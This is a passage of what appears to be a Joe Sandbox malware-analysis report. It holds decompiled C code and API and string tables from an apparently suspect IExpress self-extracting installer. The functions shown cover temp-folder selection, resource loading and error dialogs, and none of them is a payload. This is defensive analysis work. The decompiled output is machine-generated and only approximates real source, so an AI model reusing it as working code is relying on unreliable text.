				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0xa4a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0xa49124 = 0;
				if(E00A42CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00A42F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E00A452B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0xa48a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0xa49a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00A41F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0xa48588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xa49124; // 0x80070002
				return _t7;
			}

0x00a42c03
0x00a42c0d
0x00a42c18
0x00a42c20
0x00a42c2e
0x00a42c32
0x00a42c36
0x00a42c3d
0x00a42c43
0x00a42c45
0x00a42c47
0x00a42c49
0x00a42c4e
0x00a42c4e
0x00a42c47
0x00a42c32
0x00a42c20
0x00a42c50
0x00a42c54
0x00a42c57
0x00a42c64
0x00a42c66
0x00a42c6b
0x00a42c6d
0x00a42c74
0x00a42c76
0x00a42c7c
0x00a42c7e
0x00a42c87
0x00a42c89
0x00a42c89
0x00a42c87
0x00a42c7c
0x00a42c74
0x00a42c8e
0x00a42c95
0x00a42c98
0x00a42c98
0x00a42c9e
0x00a42ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00A46BB0,00A40000,00000000,00000002,0000000A), ref: 00A42C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00A46BB0,00A40000,00000000,00000002,0000000A), ref: 00A42C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00A42C28
CloseHandle.KERNEL32(00000000,?,?,00A46BB0,00A40000,00000000,00000002,0000000A), ref: 00A42C98

Strings

Kernel32.dll, xrefs: 00A42C13
HeapSetInformation, xrefs: 00A42C22

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 0ff4edb13b7074082a13512b24292d3142f477ad55d280a5557bf5efba7b247c
Instruction ID: 0222f3e29a21ca0b81d8d6c48eabfd564e59ec18d6432b99543f58f6a56a0a2b
Opcode Fuzzy Hash: 0ff4edb13b7074082a13512b24292d3142f477ad55d280a5557bf5efba7b247c
Instruction Fuzzy Hash: 2D11E17D640315ABD720AFF9ADC8B6F3769ABC9392B840125F901E3251DA72DC83C761

Uniqueness

Uniqueness Score: -1.00%

Function 00A46F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A46F40() {

				SetUnhandledExceptionFilter(E00A46EF0); // executed
				return 0;
			}

0x00a46f45
0x00a46f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00A46F45

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6bb4c687c496ccbbcb02a22f2906aa0d37ed78c7e2c7cd8c3a9d6c86c22fda4
Instruction ID: 2c9e60953de671c4f60bd32b29c4af7513a606b9887aac8467c76aa6838989b1
Opcode Fuzzy Hash: f6bb4c687c496ccbbcb02a22f2906aa0d37ed78c7e2c7cd8c3a9d6c86c22fda4
Instruction Fuzzy Hash: 8B90026C2911406796145BB49D1A41575D16ADF702B815960A111C4494DB6140415513

Uniqueness

Uniqueness Score: -1.00%

Function 00A455A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00A455A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0xa48004; // 0x173b1603
				_v8 = _t28 ^ _t110;
				_t2 = E00A4468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E00A4468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0xa49a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0xa48b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0xa48a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00A46517(_t82, 0x7d2, 0, E00A43210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0xa49a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0xa491e4;
									_t40 = GetTempPathA(0x104, 0xa491e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00A41781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00A46952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E00A4597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00A42630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E00A4658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0xa491e4;
																					E00A41781(0xa491e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00A45467(0xa491e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00A42630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E00A4597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00A45467(0xa491e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0xa491e4;
											_t70 = E00A42630(0, 0xa491e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0xa491e4;
												_t71 = E00A45467(0xa491e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E00A4597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0xa48b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00A45467(0xa48b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E00A444B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E00A444B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0xa49124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E00A444B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0xa49124 = E00A46285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00A46CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x00a455ab
0x00a455b2
0x00a455c9
0x00a455d5
0x00a455d9
0x00a45600
0x00a45605
0x00a4560a
0x00a4560c
0x00a45638
0x00a45641
0x00a45643
0x00a45645
0x00a45645
0x00a4564c
0x00a45652
0x00a45657
0x00a45659
0x00a45696
0x00a4569c
0x00a4589f
0x00a458a7
0x00a458ac
0x00a458b3
0x00a458b5
0x00a456a2
0x00a456a2
0x00a456a8
0x00000000
0x00a456ae
0x00a456ae
0x00a456b9
0x00a456bf
0x00a456c1
0x00a456f3
0x00a456f3
0x00a45705
0x00a4570a
0x00a45711
0x00a45717
0x00a45724
0x00a45726
0x00a45729
0x00a45730
0x00a45737
0x00a4573d
0x00a45740
0x00000000
0x00000000
0x00000000
0x00000000
0x00a4572b
0x00a4572b
0x00a4572e
0x00a45742
0x00a45742
0x00a45745
0x00a4576b
0x00a4576b
0x00000000
0x00a45747
0x00a45747
0x00a4574d
0x00a4574f
0x00a45771
0x00a45771
0x00a45773
0x00000000
0x00a45751
0x00a45751
0x00a45753
0x00000000
0x00a45755
0x00a4575b
0x00a45760
0x00a45762
0x00000000
0x00a45764
0x00a45764
0x00a45769
0x00a4577e
0x00a4577e
0x00a45781
0x00a45788
0x00a4578d
0x00a4578f
0x00a457b2
0x00a457b8
0x00a457bd
0x00a457bf
0x00a457cd
0x00a457cd
0x00a457dd
0x00a457e3
0x00a457ef
0x00a457f5
0x00a457f8
0x00a4580a
0x00a4580a
0x00a457fa
0x00a45802
0x00a45802
0x00a4580d
0x00a4580f
0x00a45830
0x00a45836
0x00a4583d
0x00a4584b
0x00a45851
0x00a45855
0x00a4585a
0x00a4585c
0x00000000
0x00a4585e
0x00a4585e
0x00000000
0x00a4585e
0x00a45811
0x00a45817
0x00a45819
0x00a4581f
0x00000000
0x00a4581f
0x00a45791
0x00a45797
0x00a4579c
0x00a4579e
0x00000000
0x00a457a0
0x00a457a9
0x00a457ae
0x00a457b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00a457b0
0x00a4579e
0x00000000
0x00000000
0x00000000
0x00a45769
0x00a45762
0x00a45753
0x00a4574f
0x00000000
0x00000000
0x00000000
0x00a4572e
0x00000000
0x00a45864
0x00a45864
0x00a45864
0x00a45717
0x00000000
0x00a456c3
0x00a456c5
0x00a456c9
0x00a456ce
0x00a456d0
0x00000000
0x00a456d6
0x00a456d6
0x00a456d8
0x00a456dd
0x00a456df
0x00000000
0x00a456e1
0x00a456e2
0x00a456e4
0x00a456e6
0x00a456eb
0x00a456ed
0x00000000
0x00a456f3
0x00a456f3
0x00000000
0x00a4586c
0x00a45878
0x00a4587e
0x00a45882
0x00a45883
0x00a45889
0x00a4588e
0x00a4588e
0x00000000
0x00a45896
0x00a456ed
0x00a456df
0x00a456d0
0x00a456c1
0x00a456a8
0x00a4565b
0x00a4565b
0x00a4565d
0x00a45669
0x00a45669
0x00a4565f
0x00a4565f
0x00a45665
0x00a45667
0x00000000
0x00000000
0x00a45667
0x00a4566c
0x00a45673
0x00a45678
0x00a4567a
0x00a4589b
0x00a4589b
0x00a45680
0x00a45685
0x00a4568c
0x00000000
0x00a4568c
0x00a4567a
0x00a4560e
0x00a45613
0x00a4561a
0x00a45620
0x00a45626
0x00000000
0x00a45626
0x00a455db
0x00a455e0
0x00a455e7
0x00a455f1
0x00a455f6
0x00a455f6
0x00a455f6
0x00a458b7
0x00a458c7

APIs

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00A455CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00A45638
LocalFree.KERNEL32(00000000), ref: 00A4564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00A45620

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Part of subcall function 00A46285: GetLastError.KERNEL32(00A45BBC), ref: 00A46285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00A456B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00A4571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00A45737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00A457CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00A457EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00A45802

Part of subcall function 00A42630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00A42654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00A45830

Part of subcall function 00A46517: FindResourceA.KERNEL32(00A40000,000007D6,00000005), ref: 00A4652A
Part of subcall function 00A46517: LoadResource.KERNEL32(00A40000,00000000,?,?,00A42EE8,00000000,00A419E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00A46538
Part of subcall function 00A46517: DialogBoxIndirectParamA.USER32(00A40000,00000000,00000547,00A419E0,00000000), ref: 00A46557
Part of subcall function 00A46517: FreeResource.KERNEL32(00000000,?,?,00A42EE8,00000000,00A419E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00A46560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00A45878

Part of subcall function 00A4597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00A459A8
Part of subcall function 00A4597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00A459AF

Strings

msdownld.tmp, xrefs: 00A457D3
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A456AE, 00A456B3, 00A4583D
<None>, xrefs: 00A45632
RUNPROGRAM, xrefs: 00A455BD, 00A45600
A:\, xrefs: 00A456F4
Z, xrefs: 00A4570A

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3855382519
Opcode ID: f79e2004a6cc083c9a13eb3c5f635cd935f68aa07fee8bff2f5e1dac3a7149f9
Instruction ID: 9846bc6fcffcae498f53a6bf09e2904cba3a1231a7a6ef11af71a71d35a33597
Opcode Fuzzy Hash: f79e2004a6cc083c9a13eb3c5f635cd935f68aa07fee8bff2f5e1dac3a7149f9
Instruction Fuzzy Hash: AB81167DE04A04ABDB20ABB49D85BEF726D9FE5340F040475F586D2193EFB48DC28A51

Uniqueness

Uniqueness Score: -1.00%

Function 00A444B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00A444B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0xa48004; // 0x173b1603
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0xa48a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0xa49a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00A41680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E00A4171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E00A4171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E00A4681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E00A467C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "cent", _t49 | _a12 | _a16); // executed
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E00A4681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E00A467C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "cent", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00A46CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x00a444b9
0x00a444c4
0x00a444cb
0x00a444d8
0x00a444e4
0x00a444eb
0x00a444ee
0x00a444ef
0x00a444ef
0x00a444f1
0x00a444f7
0x00a444f8
0x00a4467b
0x00a444fe
0x00a44509
0x00a44518
0x00a44525
0x00a44562
0x00a44568
0x00a44568
0x00a4456b
0x00a4456b
0x00a4456d
0x00a4456e
0x00a44572
0x00a44578
0x00a4457c
0x00a445cb
0x00a44607
0x00a44607
0x00a4460d
0x00a44613
0x00a44617
0x00000000
0x00a4461d
0x00a44623
0x00a44626
0x00a44628
0x00000000
0x00a44628
0x00a445cd
0x00a445cd
0x00a445cf
0x00a445cf
0x00a445d2
0x00a445d2
0x00a445d4
0x00a445d5
0x00a445db
0x00a445de
0x00a445e3
0x00a445e9
0x00a445ed
0x00000000
0x00a445f3
0x00a445fd
0x00000000
0x00a44602
0x00a445ed
0x00a4457e
0x00a4457e
0x00a44580
0x00a44580
0x00a44583
0x00a44583
0x00a44585
0x00a44586
0x00a4458a
0x00a4458c
0x00a4458f
0x00a4458f
0x00a44591
0x00a44592
0x00a4459b
0x00a4459e
0x00a445a3
0x00a445a9
0x00a445ad
0x00000000
0x00a445af
0x00a445af
0x00a445bf
0x00a4462d
0x00a44630
0x00a4463d
0x00a4464e
0x00a4464e
0x00a4463f
0x00a44640
0x00a44647
0x00a4464c
0x00000000
0x00000000
0x00a4464c
0x00a44666
0x00a4466d
0x00a4466f
0x00a44675
0x00a44675
0x00a445ad
0x00a44527
0x00a4452e
0x00a4453f
0x00a4453f
0x00a44530
0x00a44531
0x00a44538
0x00a4453d
0x00000000
0x00000000
0x00a4453d
0x00a44554
0x00a4455a
0x00a4455a
0x00a4455a
0x00a44525
0x00a4468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554
LocalAlloc.KERNEL32(00000040,00000065), ref: 00A445A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 00A445E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 00A4460D
MessageBeep.USER32(00000000), ref: 00A44630
MessageBoxA.USER32(?,00000000,cent,00000000), ref: 00A44666
LocalFree.KERNEL32(00000000), ref: 00A4466F

Part of subcall function 00A4681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00A4686E
Part of subcall function 00A4681F: GetSystemMetrics.USER32(0000004A), ref: 00A468A7
Part of subcall function 00A4681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00A468CC
Part of subcall function 00A4681F: RegQueryValueExA.ADVAPI32(?,00A41140,00000000,?,?,0000000C), ref: 00A468F4
Part of subcall function 00A4681F: RegCloseKey.ADVAPI32(?), ref: 00A46902

Strings

cent, xrefs: 00A44545, 00A4465A
LoadString() Error. Could not load string resource., xrefs: 00A444E4

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$cent
API String ID: 3244514340-2605220145
Opcode ID: c4993cdbae557bf728cccbb3dbb720ff5b467d507dc55b6b85c0ff0b3ca40a29
Instruction ID: 4e9ed8ccb56bba2bbd7a5f54fbc10571f2d160e9b5f62d2b58435a0e7360aa55
Opcode Fuzzy Hash: c4993cdbae557bf728cccbb3dbb720ff5b467d507dc55b6b85c0ff0b3ca40a29
Instruction Fuzzy Hash: 4451E47D900115ABDF21DF68DC48BAABB69EFCA300F114194FD09A7241DB72DD46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A453A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00A453A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0xa48004; // 0x173b1603
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E00A4171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00A41680(_t32, 0x104, _t20);
					E00A4658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00A46CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0xa48a20 = 1;
				goto L5;
			}

0x00a453ac
0x00a453b3
0x00a453b9
0x00a453bb
0x00a453bd
